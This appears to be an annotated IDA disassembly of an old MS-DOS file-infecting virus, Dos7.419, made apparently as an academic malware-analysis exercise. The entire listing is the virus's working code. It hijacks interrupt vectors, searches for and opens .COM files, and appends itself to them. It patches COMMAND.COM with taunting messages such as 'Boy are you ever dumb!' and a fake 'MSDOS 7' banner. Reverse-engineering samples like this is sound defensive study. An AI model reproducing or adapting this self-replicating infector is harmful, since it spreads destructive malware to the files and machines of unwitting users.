```
seg000:0100 ;
seg000:0100 ; +-------------------------------------------------------------------------+
seg000:0100 ; |      This file was generated by The Interactive Disassembler (IDA)      |
seg000:0100 ; |           Copyright (c) 2022 Hex-Rays, <support@hex-rays.com>           |
seg000:0100 ; |                      License info: 48-3051-7114-0E                      |
seg000:0100 ; |           LSU (Louisiana State University), Academic licenses           |
seg000:0100 ; +-------------------------------------------------------------------------+
seg000:0100 ;
seg000:0100 ; Input SHA256 : 7E00694397CBB7B422CB2F3E39A34C7FB7554931A1A9A2CF9AE7B2BCF42296E3
seg000:0100 ; Input MD5    : 0B4A318803AA1B9B6A0DCC55CEFCB7CE
seg000:0100 ; Input CRC32  : 785762D7
seg000:0100
seg000:0100 ; ---------------------------------------------------------------------------
seg000:0100 ; File Name   : C:\Users\golden\Documents\Downloads\dos7-sample\Virus.DOS.Dos7.419.com
seg000:0100 ; Format      : MS-DOS COM-file
seg000:0100 ; Base Address: 1000h Range: 10100h-102C8h Loaded length: 1C8h
seg000:0100
seg000:0100                 .686p
seg000:0100                 .mmx
seg000:0100                 .model tiny
seg000:0100
seg000:0100 ; ===========================================================================
seg000:0100
seg000:0100 ; Segment type: Pure code
seg000:0100 seg000          segment byte public 'CODE' use16
seg000:0100                 assume cs:seg000
seg000:0100                 org 100h
seg000:0100                 assume es:nothing, ss:nothing, ds:seg000, fs:nothing, gs:nothing
seg000:0100
seg000:0100                 public start
seg000:0100 start:                                  ; self modifying code; targetting the very next command
seg000:0100                 mov     word ptr loc_10106+1, 152h
seg000:0106
seg000:0106 loc_10106:                              ; DATA XREF: seg000:start↑w
seg000:0106                 mov     ax, 168h        ; *Currently 152h, but eventually becomes
seg000:0106                                         ; 168h again
seg000:0109                 mov     word ptr loc_10129+5, ax ; change a value later in the code into 152h
seg000:010C                 sub     ax, ax          ; zero outs ax
seg000:010E                 push    ds              ; adds ds to the stack
seg000:010F                 mov     ds, ax          ; ds = 0
seg000:0111                 assume ds:nothing
seg000:0111                 mov     es, ax          ; makes es, ds 0.
seg000:0113                 assume es:nothing
seg000:0113                 mov     si, 84h         ; int 21 handler source
seg000:0116                 mov     di, 0Ch         ; int 3 handler source
seg000:0116                                         ;
seg000:0116                                         ; --------------------
seg000:0119                 movsw                   ; DS:SI ---> ES:DI
seg000:0119                                         ; [increment si, di by 1]
seg000:011A                 movsw                   ; Overwriting int 3 with int 21
seg000:011B                 mov     ax, es:0        ; makes AX the address 0000:0000
seg000:011B                                         ; the handler to divide by zero
seg000:011F                 mov     ds:170h, ax     ; save the handler offset in ds:170h
seg000:0122                 mov     ax, es:2        ; grab the divide by
seg000:0122                                         ; zero handler segment
seg000:0126                 mov     ds:177h, ax     ; save the segment for later use
seg000:0126                                         ; at ds:177h
seg000:0129
seg000:0129 loc_10129:                              ; DATA XREF: seg000:0109↑w
seg000:0129                 mov     word ptr es:0, 4D4Ch
seg000:0130                 pop     ds              ; takes ds off the stack
seg000:0130                                         ; to assume a seg 0000
seg000:0131                 assume ds:seg000
seg000:0131                 mov     ax, ds          ; AX = 00 00
seg000:0133                 add     ah, 10h         ; adds 10h into ds to refernce a different data segment
seg000:0136                 mov     es:2, ax        ; changes the divide by zero
seg000:0136                                         ; segment to AH = 10h
seg000:013A                 mov     es, ax          ; offset = 10 00
seg000:013C                 assume es:nothing
```

```
seg000:013C                 mov     di, 100h        ; assign di the value 100h
seg000:013F                 mov     si, di          ; make si = di
seg000:0141                 mov     cx, 1A3h        ; asssigns the count variable
seg000:0141                                         ; 1A3h
seg000:0144                 rep movsb               ; si becomes 2a3h
seg000:0146                 mov     ds, ax          ; assign ds 1000
seg000:0148                 assume ds:nothing
seg000:0148                 div     cx              ; divides AX / CX and stores the
seg000:0148                                         ; value into AX
seg000:0148                                         ; al being the value
seg000:0148                                         ; ah being the remainder
seg000:014A
seg000:014A loc_1014A:                              ; CODE XREF: seg000:01AB↓j
seg000:014A                 mov     ah, 3Eh ; '>'   ; Close file handler
seg000:014C                 int     3               ; Call int 21h handler to close file
seg000:014D
seg000:014D loc_1014D:                              ; CODE XREF: seg000:0195↓j
seg000:014D                                         ; seg000:01A5↓j
seg000:014D                 mov     ah, 4Fh ; 'O'   ; Find the next thing to match *.COM
seg000:014F                 int     3               ; Call the 21h handler
seg000:0150                 jmp     short loc_1018C ; jump to finding .com file
seg000:0152 ; ---------------------------------------------------------------------------
seg000:0152                 sub     cx, cx          ; zero out cx
seg000:0154
seg000:0154 loc_10154:                              ; CODE XREF: seg000:0166↓j
seg000:0154                 inc     cx              ; cx = 00 01
seg000:0155                 push    cs
seg000:0156                 pop     es              ; es = cs
seg000:0157                 assume es:seg000
seg000:0157
seg000:0157 loc_10157:                              ; CODE XREF: seg000:015A↓j
seg000:0157                 mov     ax, 0FE05h      ; ax a function relevant to current
seg000:0157                                         ; command location
seg000:015A                 jmp     short near ptr loc_10157+1 ; jump to the space 0FE05h
seg000:015A                                         ; from the previous line
seg000:015A                                         ;
seg000:015A                                         ; FALL THROUGH
seg000:015C ; ---------------------------------------------------------------------------
seg000:015C                 sub     ax, 0E702h      ; ax = 17 03 after subtraction
seg000:015F                 mov     bh, 1           ; bx becomes 01 00
seg000:0161                 mov     dx, 0           ; zero outs dx
seg000:0164                 int     13h             ; calls 13h to set disk type
seg000:0164                                         ; al = 03 // 1.2M Drive
seg000:0164                                         ; DX = 0 // drive 0
seg000:0164                                         ; return AH = state of operation
seg000:0164                                         ;
seg000:0164                                         ; DISK - SET MEDIA TYPE FOR FORMAT (AT model 3x9,XT2,XT286,PS)
seg000:0164                                         ; DL = drive number,
seg000:0164                                         ; CH = lower 8 bits of number of tracks,
seg000:0164                                         ; CL = sectors per track
seg000:0166                 jmp     short loc_10154 ; jump here
seg000:0168 ; ---------------------------------------------------------------------------
seg000:0168                 push    es
seg000:0169                 push    cx
seg000:016A                 pop     es              ; cx = es
seg000:016B                 assume es:nothing
seg000:016B                 mov     word ptr es:0, 4D4Ch ; restore the divide by zero offset
seg000:0172                 mov     word ptr es:2, 5341h ; restore the divide by zero segment
seg000:0179                 pop     es
seg000:017A                 mov     word ptr ds:107h, 168h ; repair self modifying code
seg000:017A                                         ; from earlier
seg000:0180                 mov     ah, 1Ah         ; ax = 4E 00
seg000:0182                 cwd                     ; sign extend ax to get dx
seg000:0183                 int     3               ; int 21h handler
seg000:0183                                         ; Sets the DTA to DS:DX
seg000:0184                 mov     ah, 4Eh ; 'N'   ; sets ah to 4Eh, function name
seg000:0186                 sub     cx, cx          ; zereos out cx
seg000:0188                 mov     dx, 223h        ; makes dx = 02 23h
seg000:018B                 int     3               ; int 21h handler
seg000:018B                                         ; cx = 0 // no search attributes
```

```
seg000:018B                                     ; DS:DX is the pointer to the ASCIIZ
seg000:018B                                     ; Filename for .COM
seg000:018C
seg000:018C loc_1018C:                          ; CODE XREF: seg000:0150↑j
seg000:018C                 jb      short loc_1020C ; test for Carry Flag, jump here if yes
seg000:018E                 mov     ax, 3D02h       ; open a file with read/write privileges function
seg000:0191                 mov     dx, 1Eh         ; creates the address of the file
seg000:0191                                         ; ds:dx = pathname for file
seg000:0194                 int     3               ; Call int 21h
seg000:0194                                         ; AX = the file handle
seg000:0195                 jb      short loc_1014D ; test for carry flag a.k.a.
seg000:0195                                         ; was there an error??
seg000:0197                 mov     bx, ax          ; bx = current open file
seg000:0199                 mov     ah, 3Fh ; '?'   ; loads the read file function into ax
seg000:019B                 mov     di, 1Ah         ; offset of the numer of bytes in the found file
seg000:019E                 mov     cx, [di]        ; cx = the value of current di address
seg000:01A0                 mov     dx, si          ; assigns dx the offset for the
seg000:01A0                                         ; address of the buffer
seg000:01A2                 int     3               ; read a file by 21h handler
seg000:01A2                                         ; CF = 0 or 1
seg000:01A2                                         ; AX = 0
seg000:01A3                 mov     ax, [si]        ; AX = value of stack index
seg000:01A5                 jb      short loc_1014D ; check CF // Any errors occurred?
seg000:01A7                 cmp     ax, ds:100h     ; compare two bytes of the virus
seg000:01A7                                         ; to the first two bytes of the open file
seg000:01AB                 jz      short loc_1014A ; The same?? Jump here
seg000:01AB                                         ; Continue if No
seg000:01AD                 mov     ax, [si+2]      ; grab the second two bytes from the file
seg000:01B0                 cmp     ax, 6015h       ; checks for .COM signature
seg000:01B3                 jz      short loc_101B7 ; yes? infect COMMAND.COM
seg000:01B5                 jmp     short loc_101F6 ; No? infect another .com file then
seg000:01B7 ; ---------------------------------------------------------------------------
seg000:01B7
seg000:01B7 loc_101B7:                          ; CODE XREF: seg000:01B3↑j
seg000:01B7                 push    di              ; copying of various strings at the end
seg000:01B8                 push    si
seg000:01B9                 mov     si, 24Dh        ; section of code to copy
seg000:01BC                 mov     di, 23F0h       ; section of source to overwrite
seg000:01BF                 mov     cx, 55h ; 'U'   ; string length
seg000:01C2                 nop                     ; --------------
seg000:01C3                 cld                     ; increment in the positive direction
seg000:01C4                 rep movsb               ; rewrites the version string in .COM to
seg000:01C4                                         ; msdos 7 (C) 1993 ANARKICK SYSTEMS
seg000:01C6                 mov     si, 22Ah        ; section of code to copy
seg000:01C9                 mov     di, 9057h       ; section of code to overwrite
seg000:01CC                 mov     cx, 0Ch         ; string length
seg000:01CF                 nop
seg000:01D0                 rep movsb               ; rewrites a portion of command.com
seg000:01D0                                         ;  to say "is infected"
seg000:01D2                 mov     si, 236h        ; section of code to copy
seg000:01D5                 mov     di, 914Ch       ; section of code to overwrite
seg000:01D8                 mov     cx, 17h         ; string length
seg000:01DB                 nop
seg000:01DC                 rep movsb               ; rewrites a portion that has a b right before
seg000:01DC                                         ; to read "Boy are you ever dumb!"
seg000:01DE                 mov     ax, 4200h       ; assigns ah = 42 and al = 00
seg000:01E1                 sub     dx, dx          ; zeroes out dx
seg000:01E3                 mov     cx, dx          ; cx = dx = 0
seg000:01E5                 int     3               ; int 21 handler
seg000:01E5                                         ; move a file pointer
seg000:01E5                                         ; al = 00 // offset pointer at beginning
seg000:01E5                                         ; of the file
seg000:01E5                                         ; bx = file handler
seg000:01E5                                         ; cx && dx = most && least significant half
seg000:01E5                                         ; offsets
seg000:01E6                 mov     ah, 40h ; '@'   ; assign ah to 40h
seg000:01E8                 mov     dx, 2A3h        ; make dx = 2A3h
seg000:01EB                 mov     cx, 0CEBDh      ; cx = 0CEBDh
seg000:01EE                 int     3               ; int 21 handler
seg000:01EE                                         ; bx = file handler
```

```
seg000:01EE                                         ; cx = number of bytes to write out
seg000:01EE                                         ; DS:DX is the address of the buffer
seg000:01EF                 mov     ah, 3Eh ; '>'   ; assigns 3Eh to ah
seg000:01F1                 int     3               ; int 21 handler
seg000:01F1                                         ; Close a file handler
seg000:01F1                                         ; returns CF flag 0 for success and
seg000:01F1                                         ; 1 for failure
seg000:01F2                 pop     si
seg000:01F3                 pop     di              ; clean up the stack a little bit
seg000:01F4                 jmp     short loc_1020C ; skip the next portion of code
seg000:01F6 ; ---------------------------------------------------------------------------
seg000:01F6
seg000:01F6 loc_101F6:                              ; CODE XREF: seg000:01B5↑j
seg000:01F6                 mov     ax, 4200h       ; prepare to seeek a file
seg000:01F9                 sub     dx, dx          ; zero outs dx
seg000:01FB                 mov     cx, dx          ; cx = dx = 0
seg000:01FD                 int     3               ; Trap to Debugger
seg000:01FE                 inc     dh              ; dx becomes 01 00
seg000:0200                 mov     ah, 40h ; '@'   ; write fucntion loaded into ah
seg000:0202                 mov     cx, [di]        ; get the size of the .COM file
seg000:0204                 add     cx, 1A3h        ; Add on the size of DOS-7
seg000:0208                 int     3               ; call int21 to write out the two programs
seg000:0209                 mov     ah, 3Eh ; '>'   ; close the file handler being written to
seg000:020B                 int     3               ; Call int21h
seg000:020C
seg000:020C loc_1020C:                              ; CODE XREF: seg000:loc_1018C↑j
seg000:020C                                         ; seg000:01F4↑j
seg000:020C                 mov     ax, ss          ; grab the current stack segment
seg000:020E                 mov     es, ax          ; es = ss
seg000:0210                 mov     ds, ax          ; ds = es = ss
seg000:0212                 assume ds:seg000
seg000:0212                 push    ax
seg000:0213                 mov     ah, 1Ah         ; preps the DTA |
seg000:0213                                         ; its 128 bytes long and uses
seg000:0213                                         ; address ds:dx
seg000:0215                 shr     dx, 1           ; divide dx by 2 -- 256 --> 128 bytes
seg000:0217                 int     3               ; Trap to Debugger
seg000:0218                 mov     di, 100h        ; makes di offset 100h
seg000:021B                 push    di              ; add di to the stack
seg000:021C                 mov     cx, sp          ; grab the current pointer position
seg000:021E                 sub     cx, si          ; subtract the stack index to
seg000:021E                                         ; Find the original .COM file
seg000:0220                 rep movsb               ; Move it
seg000:0222                 retf                    ; return to original code
seg000:0222 ; ---------------------------------------------------------------------------
seg000:0223                 db  2Ah ; *
seg000:0224                 db  57h ; W
seg000:0225                 db  2Eh ; .
seg000:0226                 db  43h ; C
seg000:0227                 db  3Fh ; ?
seg000:0228                 db  4Dh ; M
seg000:0229                 db    0
seg000:022A                 db  69h ; i
seg000:022B                 db  73h ; s
seg000:022C                 db  20h
seg000:022D                 db  69h ; i
seg000:022E                 db  6Eh ; n
seg000:022F                 db  66h ; f
seg000:0230                 db  65h ; e
seg000:0231                 db  63h ; c
seg000:0232                 db  74h ; t
seg000:0233                 db  65h ; e
seg000:0234                 db  64h ; d
seg000:0235                 db  21h ; !
seg000:0236                 db  6Fh ; o
seg000:0237                 db  79h ; y
seg000:0238                 db  2Ch ; ,
seg000:0239                 db  20h
seg000:023A                 db  61h ; a
seg000:023B                 db  72h ; r
```

```
seg000:023C                 db  65h ; e
seg000:023D                 db  20h
seg000:023E                 db  79h ; y
seg000:023F                 db  6Fh ; o
seg000:0240                 db  75h ; u
seg000:0241                 db  20h
seg000:0242                 db  65h ; e
seg000:0243                 db  76h ; v
seg000:0244                 db  65h ; e
seg000:0245                 db  72h ; r
seg000:0246                 db  20h
seg000:0247                 db  64h ; d
seg000:0248                 db  75h ; u
seg000:0249                 db  6Dh ; m
seg000:024A                 db  62h ; b
seg000:024B                 db  21h ; !
seg000:024C                 db  20h
seg000:024D                 db  4Dh ; M
seg000:024E                 db  53h ; S
seg000:024F                 db  44h ; D
seg000:0250                 db  4Fh ; O
seg000:0251                 db  53h ; S
seg000:0252                 db  20h
seg000:0253                 db  37h ; 7
seg000:0254                 db  20h
seg000:0255                 db  28h ; (
seg000:0256                 db  43h ; C
seg000:0257                 db  29h ; )
seg000:0258                 db  31h ; 1
seg000:0259                 db  39h ; 9
seg000:025A                 db  39h ; 9
seg000:025B                 db  33h ; 3
seg000:025C                 db  20h
seg000:025D                 db  41h ; A
seg000:025E                 db  4Eh ; N
seg000:025F                 db  41h ; A
seg000:0260                 db  52h ; R
seg000:0261                 db  4Bh ; K
seg000:0262                 db  49h ; I
seg000:0263                 db  43h ; C
seg000:0264                 db  4Bh ; K
seg000:0265                 db  20h
seg000:0266                 db  53h ; S
seg000:0267                 db  59h ; Y
seg000:0268                 db  53h ; S
seg000:0269                 db  54h ; T
seg000:026A                 db  45h ; E
seg000:026B                 db  4Dh ; M
seg000:026C                 db  53h ; S
seg000:026D                 db  0Dh
seg000:026E                 db  0Ah
seg000:026F                 db    1
seg000:0270                 db    1
seg000:0271                 db    1
seg000:0272                 db  20h
seg000:0273                 db  20h
seg000:0274                 db  20h
seg000:0275                 db  20h
seg000:0276                 db  20h
seg000:0277                 db  44h ; D
seg000:0278                 db  4Fh ; O
seg000:0279                 db  53h ; S
seg000:027A                 db  20h
seg000:027B                 db  36h ; 6
seg000:027C                 db  20h
seg000:027D                 db  41h ; A
seg000:027E                 db  6Eh ; n
seg000:027F                 db  74h ; t
seg000:0280                 db  69h ; i
seg000:0281                 db  76h ; v
```

```
seg000:0282                 db  69h ; i
seg000:0283                 db  72h ; r
seg000:0284                 db  75h ; u
seg000:0285                 db  73h ; s
seg000:0286                 db  20h
seg000:0287                 db  73h ; s
seg000:0288                 db  75h ; u
seg000:0289                 db  63h ; c
seg000:028A                 db  6Bh ; k
seg000:028B                 db  73h ; s
seg000:028C                 db  2Eh ; .
seg000:028D                 db  20h
seg000:028E                 db  49h ; I
seg000:028F                 db  74h ; t
seg000:0290                 db  20h
seg000:0291                 db  6Dh ; m
seg000:0292                 db  69h ; i
seg000:0293                 db  73h ; s
seg000:0294                 db  73h ; s
seg000:0295                 db  65h ; e
seg000:0296                 db  64h ; d
seg000:0297                 db  20h
seg000:0298                 db  74h ; t
seg000:0299                 db  68h ; h
seg000:029A                 db  69h ; i
seg000:029B                 db  73h ; s
seg000:029C                 db  20h
seg000:029D                 db  6Fh ; o
seg000:029E                 db  6Eh ; n
seg000:029F                 db  65h ; e
seg000:02A0                 db  21h ; !
seg000:02A1                 db  20h
seg000:02A2                 db  24h ; $
seg000:02A3 ; ---------------------------------------------------------------------------
seg000:02A3                 mov     ah, 9           ; display string function
seg000:02A5                 mov     dx, 109h        ; ds:dx location for string to be produced
seg000:02A8                 int     3               ; int 21 handler
seg000:02A8                                         ; print string
seg000:02A8                                         ; DS:DX is the pointer to the string to
seg000:02A8                                         ; be produced
seg000:02A9                 mov     ah, 4Ch ; 'L'   ; assign 4Ch to ah, the terminate program function
seg000:02AB                 int     3               ; int 21 handler
seg000:02AB                                         ; pass control off to DOS
seg000:02AB                                         ; all files opened are closed,
seg000:02AB                                         ; buffers are flushed,
seg000:02AB                                         ; and update directory
seg000:02AB ; ---------------------------------------------------------------------------
seg000:02AC                 db  5Bh ; [
seg000:02AD                 db  44h ; D
seg000:02AE                 db  4Fh ; O
seg000:02AF                 db  53h ; S
seg000:02B0                 db  20h
seg000:02B1                 db  37h ; 7
seg000:02B2                 db  76h ; v
seg000:02B3                 db    1
seg000:02B4                 db    1
seg000:02B5                 db    1
seg000:02B6                 db  5Dh ; ]
seg000:02B7                 db  20h
seg000:02B8                 db  4Ch ; L
seg000:02B9                 db  75h ; u
seg000:02BA                 db  63h ; c
seg000:02BB                 db  69h ; i
seg000:02BC                 db  66h ; f
seg000:02BD                 db  65h ; e
seg000:02BE                 db  72h ; r
seg000:02BF                 db  20h
seg000:02C0                 db  4Dh ; M
seg000:02C1                 db  65h ; e
seg000:02C2                 db  73h ; s
```

```
seg000:02C3                 db  73h ; s
seg000:02C4                 db  69h ; i
seg000:02C5                 db  61h ; a
seg000:02C6                 db  68h ; h
seg000:02C7                 db  24h ; $
seg000:02C7 seg000          ends
seg000:02C7
seg000:02C7
seg000:02C7                 end start
```